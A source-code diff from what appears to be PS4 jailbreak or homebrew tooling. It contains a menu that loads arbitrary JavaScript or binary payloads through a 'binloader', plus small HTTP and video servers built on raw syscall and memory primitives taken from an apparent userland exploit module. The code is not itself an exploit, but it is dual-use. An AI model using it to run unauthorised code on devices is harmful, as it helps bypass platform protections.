text.x = textOrigX - (btnW * (scale - 1)) / 2
text.y = textOrigY - (btnH * (scale - 1)) / 2
if (t >= 1) {
jsmaf.clearInterval(zoomInInterval ?? -1)
zoomInInterval = null
}
}, step)
}
function animateZoomOut (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) {
if (zoomOutInterval) jsmaf.clearInterval(zoomOutInterval)
const btnW = buttonWidth
const btnH = buttonHeight
const startScale = btn.scaleX || 1.1
const endScale = 1.0
const duration = 175
let elapsed = 0
const step = 16
zoomOutInterval = jsmaf.setInterval(function () {
elapsed += step
const t = Math.min(elapsed / duration, 1)
const eased = easeInOut(t)
const scale = startScale + (endScale - startScale) * eased
btn.scaleX = scale
btn.scaleY = scale
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
text.scaleX = scale
text.scaleY = scale
text.x = textOrigX - (btnW * (scale - 1)) / 2
text.y = textOrigY - (btnH * (scale - 1)) / 2
if (t >= 1) {
jsmaf.clearInterval(zoomOutInterval ?? -1)
zoomOutInterval = null
}
}, step)
}
function updateHighlight () {
// Animate out the previous button
const prevButtonObj = buttons[prevButton]
const buttonMarker = buttonMarkers[prevButton]
if (prevButton >= 0 && prevButton !== currentButton && prevButtonObj) {
prevButtonObj.url = normalButtonImg
prevButtonObj.alpha = 0.7
prevButtonObj.borderColor = 'transparent'
prevButtonObj.borderWidth = 0
if (buttonMarker) buttonMarker.visible = false
animateZoomOut(prevButtonObj, buttonTexts[prevButton]!, buttonOrigPos[prevButton]!.x, buttonOrigPos[prevButton]!.y, textOrigPos[prevButton]!.x, textOrigPos[prevButton]!.y)
}
// Set styles for all buttons
for (let i = 0; i < buttons.length; i++) {
const button = buttons[i]
const buttonMarker = buttonMarkers[i]
const buttonText = buttonTexts[i]
const buttonOrigPos_ = buttonOrigPos[i]
const textOrigPos_ = textOrigPos[i]
if (button === undefined || buttonText === undefined || buttonOrigPos_ === undefined || textOrigPos_ === undefined) continue
if (i === currentButton) {
button.url = selectedButtonImg
button.alpha = 1.0
button.borderColor = 'rgb(100,180,255)'
button.borderWidth = 3
if (buttonMarker) buttonMarker.visible = true
animateZoomIn(button, buttonText, buttonOrigPos_.x, buttonOrigPos_.y, textOrigPos_.x, textOrigPos_.y)
} else if (i !== prevButton) {
button.url = normalButtonImg
button.alpha = 0.7
button.borderColor = 'transparent'
button.borderWidth = 0
button.scaleX = 1.0
button.scaleY = 1.0
button.x = buttonOrigPos_.x
button.y = buttonOrigPos_.y
buttonText.scaleX = 1.0
buttonText.scaleY = 1.0
buttonText.x = textOrigPos_.x
buttonText.y = textOrigPos_.y
if (buttonMarker) buttonMarker.visible = false
}
}
prevButton = currentButton
}
jsmaf.onKeyDown = function (keyCode) {
log('Key pressed: ' + keyCode)
const fileButtonCount = fileList.length
const exitButtonIndex = buttons.length - 1
if (keyCode === 6) {
if (currentButton === exitButtonIndex) {
return
}
const nextButton = currentButton + buttonsPerRow
if (nextButton >= fileButtonCount) {
currentButton = exitButtonIndex
} else {
currentButton = nextButton
}
updateHighlight()
} else if (keyCode === 4) {
if (currentButton === exitButtonIndex) {
const lastRow = Math.floor((fileButtonCount - 1) / buttonsPerRow)
const firstInLastRow = lastRow * buttonsPerRow
let col = 0
if (fileButtonCount > 0) {
col = Math.min(buttonsPerRow - 1, (fileButtonCount - 1) % buttonsPerRow)
}
currentButton = Math.min(firstInLastRow + col, fileButtonCount - 1)
} else {
const nextButton = currentButton - buttonsPerRow
if (nextButton >= 0) {
currentButton = nextButton
}
}
updateHighlight()
} else if (keyCode === 5) {
if (currentButton === exitButtonIndex) {
return
}
const row = Math.floor(currentButton / buttonsPerRow)
const col = currentButton % buttonsPerRow
if (col < buttonsPerRow - 1) {
const nextButton = currentButton + 1
if (nextButton < fileButtonCount) {
currentButton = nextButton
}
}
updateHighlight()
} else if (keyCode === 7) {
if (currentButton === exitButtonIndex) {
currentButton = fileButtonCount - 1
} else {
const col = currentButton % buttonsPerRow
if (col > 0) {
currentButton = currentButton - 1
}
}
updateHighlight()
} else if (keyCode === 14) {
handleButtonPress()
} else if (keyCode === 13) {
log('Going back to main menu...')
try {
include('main-menu.js')
} catch (e) {
const err = e as Error
log('ERROR loading main-menu.js: ' + err.message)
if (err.stack) log(err.stack)
}
}
}
function handleButtonPress () {
if (currentButton === buttons.length - 1) {
log('Going back to main menu...')
try {
include('main-menu.js')
} catch (e) {
const err = e as Error
log('ERROR loading main-menu.js: ' + err.message)
if (err.stack) log(err.stack)
}
} else if (currentButton < fileList.length) {
const selectedFile = fileList[currentButton]
if (!selectedFile) {
log('No file selected!')
return
}
const filePath = '/download0/payloads/' + selectedFile
log('Selected: ' + selectedFile)
try {
if (selectedFile.toLowerCase().endsWith('.js')) {
log('Including JavaScript file: ' + selectedFile)
include('payloads/' + selectedFile)
} else {
log('Loading binloader.js...')
include('binloader.js')
log('binloader.js loaded successfully')
log('Initializing binloader...')
const { bl_load_from_file } = binloader_init()
log('Loading payload from: ' + filePath)
bl_load_from_file(filePath)
}
} catch (e) {
const err = e as Error
log('ERROR: ' + err.message)
if (err.stack) log(err.stack)
}
}
}
updateHighlight()
log('Interactive UI loaded!')
log('Total elements: ' + jsmaf.root.children.length)
log('Buttons: ' + buttons.length)
log('Use arrow keys to navigate, Enter/X to select')
})()
@@ -1,3 +1,6 @@
import { libc_addr } from 'download0/userland'
import { fn, BigInt, mem } from 'download0/types'
(function () {
log('=== Local Video Server ===')
@@ -6,57 +9,57 @@
}
// Register socket syscalls
try { fn.register(97, 'socket', 'bigint') } catch (e) {}
try { fn.register(98, 'connect', 'bigint') } catch (e) {}
try { fn.register(104, 'bind', 'bigint') } catch (e) {}
try { fn.register(105, 'setsockopt', 'bigint') } catch (e) {}
try { fn.register(106, 'listen', 'bigint') } catch (e) {}
try { fn.register(30, 'accept', 'bigint') } catch (e) {}
try { fn.register(32, 'getsockname', 'bigint') } catch (e) {}
try { fn.register(3, 'read_sys', 'bigint') } catch (e) {}
try { fn.register(4, 'write_sys', 'bigint') } catch (e) {}
try { fn.register(6, 'close_sys', 'bigint') } catch (e) {}
try { fn.register(5, 'open_sys', 'bigint') } catch (e) {}
try { fn.register(93, 'select', 'bigint') } catch (e) {}
try { fn.register(134, 'shutdown', 'bigint') } catch (e) {}
fn.register(97, 'socket', ['bigint', 'bigint', 'bigint'], 'bigint')
fn.register(98, 'connect', ['bigint', 'bigint', 'bigint'], 'bigint')
fn.register(104, 'bind', ['bigint', 'bigint', 'bigint'], 'bigint')
fn.register(105, 'setsockopt', ['bigint', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint')
fn.register(106, 'listen', ['bigint', 'bigint'], 'bigint')
fn.register(30, 'accept', ['bigint', 'bigint', 'bigint'], 'bigint')
fn.register(32, 'getsockname', ['bigint', 'bigint', 'bigint'], 'bigint')
fn.register(3, 'read_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
fn.register(4, 'write_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
fn.register(6, 'close_sys', ['bigint'], 'bigint')
fn.register(5, 'open_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
fn.register(93, 'select', ['bigint', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint')
fn.register(134, 'shutdown', ['bigint', 'bigint'], 'bigint')
var socket_sys = fn.socket
var bind_sys = fn.bind
var setsockopt_sys = fn.setsockopt
var listen_sys = fn.listen
var accept_sys = fn.accept
var getsockname_sys = fn.getsockname
var read_sys = fn.read_sys
var write_sys = fn.write_sys
var close_sys = fn.close_sys
var open_sys = fn.open_sys
var select_sys = fn.select
var shutdown_sys = fn.shutdown
const socket_sys = fn.socket
const bind_sys = fn.bind
const setsockopt_sys = fn.setsockopt
const listen_sys = fn.listen
const accept_sys = fn.accept
const getsockname_sys = fn.getsockname
const read_sys = fn.read_sys
const write_sys = fn.write_sys
const close_sys = fn.close_sys
const open_sys = fn.open_sys
const select_sys = fn.select
const shutdown_sys = fn.shutdown
var AF_INET = 2
var SOCK_STREAM = 1
var SOL_SOCKET = 0xFFFF
var SO_REUSEADDR = 0x4
var O_RDONLY = 0
const AF_INET = 2
const SOCK_STREAM = 1
const SOL_SOCKET = 0xFFFF
const SO_REUSEADDR = 0x4
const O_RDONLY = 0
// ===== VIDEO CONFIGURATION =====
var VIDEO_DIR = '/download0/vid'
var PLAYLIST_FILE = 'cat-meow.m3u8'
var SEGMENT_FILES = ['cat-meow0.ts']
const VIDEO_DIR = '/download0/vid'
const PLAYLIST_FILE = 'cat-meow.m3u8'
const SEGMENT_FILES = ['cat-meow0.ts']
// ================================
// Create server socket
log('Creating HTTP server for video files...')
var srv = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_STREAM), new BigInt(0, 0))
const srv = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_STREAM), new BigInt(0, 0))
if (srv.lo < 0) throw new Error('Cannot create socket')
// Set SO_REUSEADDR
var optval = mem.malloc(4)
const optval = mem.malloc(4)
mem.view(optval).setUint32(0, 1, true)
setsockopt_sys(srv, new BigInt(0, SOL_SOCKET), new BigInt(0, SO_REUSEADDR), optval, new BigInt(0, 4))
// Bind to port 0 (let OS pick)
var addr = mem.malloc(16)
const addr = mem.malloc(16)
mem.view(addr).setUint8(0, 16)
mem.view(addr).setUint8(1, AF_INET)
mem.view(addr).setUint16(2, 0, false) // port 0 = let OS choose
@@ -68,11 +71,11 @@
}
// Get actual port
var actual_addr = mem.malloc(16)
var actual_len = mem.malloc(4)
const actual_addr = mem.malloc(16)
const actual_len = mem.malloc(4)
mem.view(actual_len).setUint32(0, 16, true)
getsockname_sys(srv, actual_addr, actual_len)
var port = mem.view(actual_addr).getUint16(2, false)
const port = mem.view(actual_addr).getUint16(2, false)
// Listen
if (listen_sys(srv, new BigInt(0, 5)).lo < 0) {
@@ -83,14 +86,14 @@
log('HTTP server listening on port ' + port)
// Store video URL separately (video.url property gets cleared by Video object)
var videoUrl = 'http://127.0.0.1:' + port + '/' + PLAYLIST_FILE
const videoUrl = 'http://127.0.0.1:' + port + '/' + PLAYLIST_FILE
log('Video URL: ' + videoUrl)
// Setup UI
jsmaf.root.children.length = 0
// Dual video approach for seamless looping
var video1 = new Video({
const video1 = new Video({
x: 0,
y: 0,
width: 1920,
@@ -100,7 +103,7 @@
})
jsmaf.root.children.push(video1)
var video2 = new Video({
const video2 = new Video({
x: 0,
y: 0,
width: 1920,
@@ -110,12 +113,12 @@
})
jsmaf.root.children.push(video2)
var requestCount = 0
var currentVideo = video1
var nextVideo = video2
var preloadStarted = false
let requestCount = 0
let currentVideo = video1
let nextVideo = video2
let preloadStarted = false
function setupVideoCallbacks (video, isNext) {
function setupVideoCallbacks (video: Video, isNext: boolean) {
video.onOpen = function () {
log('Video ' + (isNext ? 'next' : 'current') + ' opened! Duration: ' + video.duration)
}
@@ -135,7 +138,7 @@
nextVideo.play()
// Swap references
var temp = currentVideo
const temp = currentVideo
currentVideo = nextVideo
nextVideo = temp
@@ -149,46 +152,46 @@
setupVideoCallbacks(video2, true)
// Send HTTP response
function send_response (fd, content_type, body) {
var headers = 'HTTP/1.1 200 OK\r\n' +
function send_response (fd: number, content_type: string, body: string) {
const headers = 'HTTP/1.1 200 OK\r\n' +
'Content-Type: ' + content_type + '\r\n' +
'Content-Length: ' + body.length + '\r\n' +
'Access-Control-Allow-Origin: *\r\n' +
'Connection: close\r\n' +
'\r\n'
var resp = headers + body
var buf = mem.malloc(resp.length)
for (var i = 0; i < resp.length; i++) {
const resp = headers + body
const buf = mem.malloc(resp.length)
for (let i = 0; i < resp.length; i++) {
mem.view(buf).setUint8(i, resp.charCodeAt(i))
}
write_sys(fd, buf, new BigInt(0, resp.length))
write_sys(new BigInt(fd), buf, new BigInt(0, resp.length))
}
// Send binary file
function send_file (fd, filepath, content_type) {
function send_file (fd: number, filepath: string, content_type: string) {
// Open file
var path_buf = mem.malloc(filepath.length + 1)
for (var i = 0; i < filepath.length; i++) {
const path_buf = mem.malloc(filepath.length + 1)
for (let i = 0; i < filepath.length; i++) {
mem.view(path_buf).setUint8(i, filepath.charCodeAt(i))
}
mem.view(path_buf).setUint8(filepath.length, 0)
var file_fd = open_sys(path_buf, new BigInt(0, O_RDONLY), new BigInt(0, 0))
const file_fd = open_sys(path_buf, new BigInt(0, O_RDONLY), new BigInt(0, 0))
if (file_fd.eq(new BigInt(0xffffffff, 0xffffffff))) {
log('Cannot open file: ' + filepath)
var error = 'HTTP/1.1 404 Not Found\r\nContent-Length: 9\r\n\r\nNot Found'
var error_buf = mem.malloc(error.length)
for (var i = 0; i < error.length; i++) {
const error = 'HTTP/1.1 404 Not Found\r\nContent-Length: 9\r\n\r\nNot Found'
const error_buf = mem.malloc(error.length)
for (let i = 0; i < error.length; i++) {
mem.view(error_buf).setUint8(i, error.charCodeAt(i))
}
write_sys(fd, error_buf, new BigInt(0, error.length))
write_sys(new BigInt(fd), error_buf, new BigInt(0, error.length))
return
}
// Read file content
var file_buf = mem.malloc(65536)
var bytes_read = read_sys(file_fd, file_buf, new BigInt(0, 65536))
const file_buf = mem.malloc(65536)
const bytes_read = read_sys(file_fd, file_buf, new BigInt(0, 65536))
close_sys(file_fd)
if (bytes_read.lo <= 0) {
@@ -197,8 +200,8 @@
}
// Build response string from buffer
var body = ''
for (var i = 0; i < bytes_read.lo; i++) {
let body = ''
for (let i = 0; i < bytes_read.lo; i++) {
body += String.fromCharCode(mem.view(file_buf).getUint8(i))
}
@@ -207,27 +210,27 @@
}
// Parse request path
function get_path (buf, len) {
var req = ''
for (var i = 0; i < len && i < 1024; i++) {
var c = mem.view(buf).getUint8(i)
function get_path (buf: BigInt, len: number): string {
let req = ''
for (let i = 0; i < len && i < 1024; i++) {
const c = mem.view(buf).getUint8(i)
if (c === 0) break
req += String.fromCharCode(c)
}
var lines = req.split('\n')
const lines = req.split('\n')
if (lines.length > 0) {
var parts = lines[0].trim().split(' ')
if (parts.length >= 2) return parts[1]
const parts = lines[0]!.trim().split(' ')
if (parts.length >= 2) return parts[1]!
}
return '/'
}
var serverRunning = true
let serverRunning = true
// Prepare select() structures (reuse across calls)
var readfds = mem.malloc(128) // fd_set (128 bytes for up to 1024 fds)
var timeout = mem.malloc(16) // struct timeval
const readfds = mem.malloc(128) // fd_set (128 bytes for up to 1024 fds)
const timeout = mem.malloc(16) // struct timeval
// Set timeout to 0 (poll mode)
mem.view(timeout).setUint32(0, 0, true) // tv_sec = 0
mem.view(timeout).setUint32(4, 0, true)
@@ -239,20 +242,20 @@
if (!serverRunning) return
// Clear fd_set and set our server fd
for (var i = 0; i < 128; i++) {
for (let i = 0; i < 128; i++) {
mem.view(readfds).setUint8(i, 0)
}
// Set the bit for our server socket fd
var fd = srv.lo
var byte_index = Math.floor(fd / 8)
var bit_index = fd % 8
var current = mem.view(readfds).getUint8(byte_index)
const fd = srv.lo
const byte_index = Math.floor(fd / 8)
const bit_index = fd % 8
const current = mem.view(readfds).getUint8(byte_index)
mem.view(readfds).setUint8(byte_index, current | (1 << bit_index))
// Poll with select() - returns immediately
var nfds = fd + 1
var select_ret = select_sys(new BigInt(0, nfds), readfds, new BigInt(0, 0), new BigInt(0, 0), timeout)
const nfds = fd + 1
const select_ret = select_sys(new BigInt(0, nfds), readfds, new BigInt(0, 0), new BigInt(0, 0), timeout)
// If select returns 0, no connections ready
if (select_ret.lo <= 0) {
@@ -260,21 +263,21 @@
}
// Connection is ready, now accept() won't block
var client_addr = mem.malloc(16)
var client_len = mem.malloc(4)
const client_addr = mem.malloc(16)
const client_len = mem.malloc(4)
mem.view(client_len).setUint32(0, 16, true)
var client_ret = accept_sys(srv, client_addr, client_len)
var client = client_ret instanceof BigInt ? client_ret.lo : client_ret
const client_ret = accept_sys(srv, client_addr, client_len)
const client = client_ret instanceof BigInt ? client_ret.lo : client_ret
if (client >= 0) {
requestCount++
var req_buf = mem.malloc(4096)
var read_ret = read_sys(client, req_buf, new BigInt(0, 4096))
var bytes = read_ret instanceof BigInt ? read_ret.lo : read_ret
const req_buf = mem.malloc(4096)
const read_ret = read_sys(new BigInt(client), req_buf, new BigInt(0, 4096))
const bytes = read_ret instanceof BigInt ? read_ret.lo : read_ret
if (bytes > 0) {
var path = get_path(req_buf, bytes)
const path = get_path(req_buf, bytes)
log('Request #' + requestCount + ': ' + path)
// Check if requesting playlist
@@ -282,8 +285,8 @@
send_file(client, VIDEO_DIR + '/' + PLAYLIST_FILE, 'application/vnd.apple.mpegurl')
} else {
// Check if requesting any segment file
var handled = false
for (var i = 0; i < SEGMENT_FILES.length; i++) {
let handled = false
for (let i = 0; i < SEGMENT_FILES.length; i++) {
if (path === '/' + SEGMENT_FILES[i] || path.indexOf('/' + SEGMENT_FILES[i]) >= 0) {
send_file(client, VIDEO_DIR + '/' + SEGMENT_FILES[i], 'video/MP2T')
handled = true
@@ -295,8 +298,7 @@
}
}
}
close_sys(client)
close_sys(new BigInt(client))
}
}
@@ -306,7 +308,7 @@
if (currentVideo.duration > 0 && currentVideo.elapsed > 0) {
// Start preloading when 70% through current video
var threshold = currentVideo.duration * 0.7
const threshold = currentVideo.duration * 0.7
if (!preloadStarted && currentVideo.elapsed >= threshold) {
log('Preloading next video at ' + currentVideo.elapsed + 'ms...')
preloadStarted = true
@@ -315,7 +317,7 @@
}
}
var isShuttingDown = false
let isShuttingDown = false
jsmaf.onKeyDown = function (keyCode) {
if (keyCode === 13 && !isShuttingDown) { // Circle - exit
@@ -325,11 +327,11 @@
// Shutdown server socket (stops accepting new connections)
try {
var SHUT_RDWR = 2
const SHUT_RDWR = 2
shutdown_sys(srv, new BigInt(0, SHUT_RDWR))
log('Server socket shutdown')
} catch (e) {
log('Error shutting down server: ' + e.message)
log('Error shutting down server: ' + (e as Error).message)
}
// Close server socket
@@ -337,7 +339,7 @@
close_sys(srv)
log('Server socket closed')
} catch (e) {
log('Error closing server socket: ' + e.message)
log('Error closing server socket: ' + (e as Error).message)
}
// Close video players
@@ -345,14 +347,14 @@
currentVideo.close()
log('Current video closed')
} catch (e) {
log('Error closing current video: ' + e.message)
log('Error closing current video: ' + (e as Error).message)
}
try {
nextVideo.close()
log('Next video closed')
} catch (e) {
log('Error closing next video: ' + e.message)
log('Error closing next video: ' + (e as Error).message)
}
// Clear handlers
@@ -362,7 +364,7 @@
log('Cleanup complete, returning to main menu in 500ms...')
// Small delay to let everything settle
var cleanup_start = Date.now()
const cleanup_start = Date.now()
while (Date.now() - cleanup_start < 500) {
// Wait
}
File diff suppressed because it is too large Load Diff
+117 -131
View File
@@ -1,3 +1,6 @@
import { libc_addr } from 'download0/userland'
import { fn, mem, BigInt } from 'download0/types'
// simple server
if (libc_addr === null) {
@@ -7,68 +10,53 @@ if (libc_addr === null) {
jsmaf.remotePlay = true
// register socket stuff
try { fn.register(97, 'socket', 'bigint') } catch (e) {}
try { fn.register(98, 'connect', 'bigint') } catch (e) {}
try { fn.register(104, 'bind', 'bigint') } catch (e) {}
try { fn.register(105, 'setsockopt', 'bigint') } catch (e) {}
try { fn.register(106, 'listen', 'bigint') } catch (e) {}
try { fn.register(30, 'accept', 'bigint') } catch (e) {}
try { fn.register(32, 'getsockname', 'bigint') } catch (e) {}
try { fn.register(3, 'read', 'bigint') } catch (e) {}
try { fn.register(4, 'write', 'bigint') } catch (e) {}
try { fn.register(6, 'close', 'bigint') } catch (e) {}
try { fn.register(0x110, 'getdents', 'bigint') } catch (e) {}
try { fn.register(93, 'select', 'bigint') } catch (e) {}
fn.register(97, 'socket', ['bigint', 'bigint', 'bigint'], 'bigint')
fn.register(98, 'connect', ['bigint', 'bigint', 'bigint'], 'bigint')
fn.register(104, 'bind', ['bigint', 'bigint', 'bigint'], 'bigint')
fn.register(105, 'setsockopt', ['bigint', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint')
fn.register(106, 'listen', ['bigint', 'bigint'], 'bigint')
fn.register(30, 'accept', ['bigint', 'bigint', 'bigint'], 'bigint')
fn.register(32, 'getsockname', ['bigint', 'bigint', 'bigint'], 'bigint')
fn.register(3, 'read', ['bigint', 'bigint', 'bigint'], 'bigint')
fn.register(4, 'write', ['bigint', 'bigint', 'bigint'], 'bigint')
fn.register(5, 'open', ['string', 'number', 'number'], 'bigint')
fn.register(6, 'close', ['bigint'], 'bigint')
fn.register(0x110, 'getdents', ['number', 'bigint', 'bigint'], 'bigint')
fn.register(93, 'select', ['bigint', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint')
var socket_sys = fn.socket
var connect_sys = fn.connect
var bind_sys = fn.bind
var setsockopt_sys = fn.setsockopt
var listen_sys = fn.listen
var accept_sys = fn.accept
var getsockname_sys = fn.getsockname
var read_sys = fn.read
var write_sys = fn.write
var close_sys = fn.close
var getdents_sys = fn.getdents
var select_sys = fn.select
const socket_sys = fn.socket
const connect_sys = fn.connect
const bind_sys = fn.bind
const setsockopt_sys = fn.setsockopt
const listen_sys = fn.listen
const accept_sys = fn.accept
const getsockname_sys = fn.getsockname
const read_sys = fn.read
const write_sys = fn.write
const open_sys = fn.open
const close_sys = fn.close
const getdents_sys = fn.getdents
const select_sys = fn.select
var AF_INET = 2
var SOCK_STREAM = 1
var SOCK_DGRAM = 2
var SOL_SOCKET = 0xFFFF
var SO_REUSEADDR = 0x4
var O_RDONLY = 0
// helper to make string buffer
function str_buf (s) {
var buf = mem.malloc(s.length + 1)
for (var i = 0; i < s.length; i++) {
mem.view(buf).setUint8(i, s.charCodeAt(i))
}
mem.view(buf).setUint8(s.length, 0) // null terminator
return buf
}
const AF_INET = 2
const SOCK_STREAM = 1
const SOCK_DGRAM = 2
const SOL_SOCKET = 0xFFFF
const SO_REUSEADDR = 0x4
const O_RDONLY = 0
// scan download0 for js files
function scan_js_files () {
var files = []
const files: string[] = []
// try different paths for payloads dir
var paths = ['/download0/', '/app0/download0/', 'download0/payloads']
var dir_fd = -1
var opened_path = ''
const paths = ['/download0/', '/app0/download0/', 'download0/payloads']
let dir_fd = -1
let opened_path = ''
for (var p = 0; p < paths.length; p++) {
var path = paths[p]
var path_str = mem.malloc(path.length + 1)
for (var i = 0; i < path.length; i++) {
mem.view(path_str).setUint8(i, path.charCodeAt(i))
}
mem.view(path_str).setUint8(path.length, 0)
dir_fd = fn.open(path_str, O_RDONLY)
if (dir_fd instanceof BigInt) dir_fd = dir_fd.lo
for (const path of paths) {
const dirRet = open_sys(path, O_RDONLY, 0)
dir_fd = dirRet.lo
if (dir_fd >= 0) {
opened_path = path
@@ -83,22 +71,20 @@ function scan_js_files () {
log('opened: ' + opened_path)
var dirent_buf = mem.malloc(1024)
const dirent_buf = mem.malloc(1024)
while (true) {
var ret = getdents_sys(dir_fd, dirent_buf, 1024)
if (ret instanceof BigInt) ret = ret.lo
const ret = getdents_sys(dir_fd, dirent_buf, new BigInt(1024)).lo
if (ret <= 0) break
var offset = 0
let offset = 0
while (offset < ret) {
var d_fileno = mem.view(dirent_buf).getUint32(offset, true)
var d_reclen = mem.view(dirent_buf).getUint16(offset + 4, true)
var d_type = mem.view(dirent_buf).getUint8(offset + 6)
var d_namlen = mem.view(dirent_buf).getUint8(offset + 7)
const d_reclen = mem.view(dirent_buf).getUint16(offset + 4, true)
const d_type = mem.view(dirent_buf).getUint8(offset + 6)
const d_namlen = mem.view(dirent_buf).getUint8(offset + 7)
var name = ''
for (var i = 0; i < d_namlen; i++) {
let name = ''
for (let i = 0; i < d_namlen; i++) {
name += String.fromCharCode(mem.view(dirent_buf).getUint8(offset + 8 + i))
}
@@ -111,15 +97,15 @@ function scan_js_files () {
}
}
fn.close(dir_fd)
close_sys(new BigInt(dir_fd))
return files
}
var js_files = scan_js_files()
const js_files = scan_js_files()
log('found ' + js_files.length + ' js files')
// build html with log panel and button
var html = '<!DOCTYPE html>\n' +
const html = '<!DOCTYPE html>\n' +
'<html>\n' +
'<head>\n' +
'<title>ps4</title>\n' +
@@ -140,12 +126,12 @@ var html = '<!DOCTYPE html>\n' +
'</div>\n' +
'<div id="status">disconnected</div>\n' +
'<script>\n' +
'var logEl=document.getElementById("log");\n' +
'var statusEl=document.getElementById("status");\n' +
'var ws=null;\n' +
'function addLog(msg){var div=document.createElement("div");div.className="line";div.textContent=msg;logEl.appendChild(div);logEl.scrollTop=logEl.scrollHeight;}\n' +
'const logEl=document.getElementById("log");\n' +
'const statusEl=document.getElementById("status");\n' +
'const ws=null;\n' +
'function addLog(msg){const div=document.createElement("div");div.className="line";div.textContent=msg;logEl.appendChild(div);logEl.scrollTop=logEl.scrollHeight;}\n' +
'function connectWS(){try{ws=new WebSocket("ws://127.0.0.1:40404");ws.onopen=function(){statusEl.textContent="connected";statusEl.style.opacity="1";addLog("[connected to ws]");};ws.onmessage=function(e){addLog(e.data);};ws.onclose=function(){statusEl.textContent="disconnected";statusEl.style.opacity="0.5";addLog("[disconnected]");setTimeout(connectWS,2000);};ws.onerror=function(){statusEl.textContent="error";statusEl.style.opacity="0.5";};}catch(e){addLog("[ws error: "+e.message+"]");setTimeout(connectWS,5000);}}\n' +
'function goFullscreen(){var elem=document.documentElement;try{if(elem.requestFullscreen){elem.requestFullscreen();}else if(elem.webkitRequestFullscreen){elem.webkitRequestFullscreen();}else if(elem.mozRequestFullScreen){elem.mozRequestFullScreen();}else if(elem.msRequestFullscreen){elem.msRequestFullscreen();}else{addLog("[fullscreen not supported]");}}catch(e){addLog("[fullscreen error: "+e.message+"]");}}\n' +
'function goFullscreen(){const elem=document.documentElement;try{if(elem.requestFullscreen){elem.requestFullscreen();}else if(elem.webkitRequestFullscreen){elem.webkitRequestFullscreen();}else if(elem.mozRequestFullScreen){elem.mozRequestFullScreen();}else if(elem.msRequestFullscreen){elem.msRequestFullscreen();}else{addLog("[fullscreen not supported]");}}catch(e){addLog("[fullscreen error: "+e.message+"]");}}\n' +
'function loadPayload(){fetch("/load").then(function(){addLog("[payload loaded]");});}\n' +
'connectWS();\n' +
'window.onload = function() {\n' +
@@ -158,28 +144,28 @@ var html = '<!DOCTYPE html>\n' +
// detect local ip by connecting to 8.8.8.8 (doesnt actually send anything)
log('detecting local ip...')
var detect_fd = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_DGRAM), new BigInt(0, 0))
const detect_fd = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_DGRAM), new BigInt(0, 0))
if (detect_fd.lo < 0) throw new Error('socket failed')
var detect_addr = mem.malloc(16)
const detect_addr = mem.malloc(16)
mem.view(detect_addr).setUint8(0, 16)
mem.view(detect_addr).setUint8(1, AF_INET)
mem.view(detect_addr).setUint16(2, 0x3500, false) // port 53
mem.view(detect_addr).setUint32(4, 0x08080808, false) // 8.8.8.8
var local_ip = '127.0.0.1' // fallback
let local_ip = '127.0.0.1' // fallback
if (connect_sys(detect_fd, detect_addr, new BigInt(0, 16)).lo >= 0) {
var local_addr = mem.malloc(16)
var local_len = mem.malloc(4)
const local_addr = mem.malloc(16)
const local_len = mem.malloc(4)
mem.view(local_len).setUint32(0, 16, true)
if (getsockname_sys(detect_fd, local_addr, local_len).lo >= 0) {
var ip_int = mem.view(local_addr).getUint32(4, false)
var ip1 = (ip_int >> 24) & 0xFF
var ip2 = (ip_int >> 16) & 0xFF
var ip3 = (ip_int >> 8) & 0xFF
var ip4 = ip_int & 0xFF
const ip_int = mem.view(local_addr).getUint32(4, false)
const ip1 = (ip_int >> 24) & 0xFF
const ip2 = (ip_int >> 16) & 0xFF
const ip3 = (ip_int >> 8) & 0xFF
const ip4 = ip_int & 0xFF
local_ip = ip1 + '.' + ip2 + '.' + ip3 + '.' + ip4
log('detected ip: ' + local_ip)
}
@@ -189,16 +175,16 @@ close_sys(detect_fd)
// create server socket
log('creating server...')
var srv = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_STREAM), new BigInt(0, 0))
const srv = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_STREAM), new BigInt(0, 0))
if (srv.lo < 0) throw new Error('cant create socket')
// set SO_REUSEADDR
var optval = mem.malloc(4)
const optval = mem.malloc(4)
mem.view(optval).setUint32(0, 1, true)
setsockopt_sys(srv, new BigInt(0, SOL_SOCKET), new BigInt(0, SO_REUSEADDR), optval, new BigInt(0, 4))
// bind to 0.0.0.0:0 (let os pick port)
var addr = mem.malloc(16)
const addr = mem.malloc(16)
mem.view(addr).setUint8(0, 16)
mem.view(addr).setUint8(1, AF_INET)
mem.view(addr).setUint16(2, 0, false) // port 0
@@ -210,11 +196,11 @@ if (bind_sys(srv, addr, new BigInt(0, 16)).lo < 0) {
}
// get actual port
var actual_addr = mem.malloc(16)
var actual_len = mem.malloc(4)
const actual_addr = mem.malloc(16)
const actual_len = mem.malloc(4)
mem.view(actual_len).setUint32(0, 16, true)
getsockname_sys(srv, actual_addr, actual_len)
var port = mem.view(actual_addr).getUint16(2, false)
const port = mem.view(actual_addr).getUint16(2, false)
log('got port: ' + port)
@@ -233,32 +219,32 @@ try {
jsmaf.openWebBrowser('http://127.0.0.1:' + port)
log('opened browser')
} catch (e) {
log('couldnt open browser: ' + e.message)
log('couldnt open browser: ' + (e as Error).message)
}
// helper to send response
function send_response (fd, body) {
var resp = 'HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: ' + body.length + '\r\nConnection: close\r\n\r\n' + body
var buf = mem.malloc(resp.length)
for (var i = 0; i < resp.length; i++) {
function send_response (fd: BigInt, body: string) {
const resp = 'HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: ' + body.length + '\r\nConnection: close\r\n\r\n' + body
const buf = mem.malloc(resp.length)
for (let i = 0; i < resp.length; i++) {
mem.view(buf).setUint8(i, resp.charCodeAt(i))
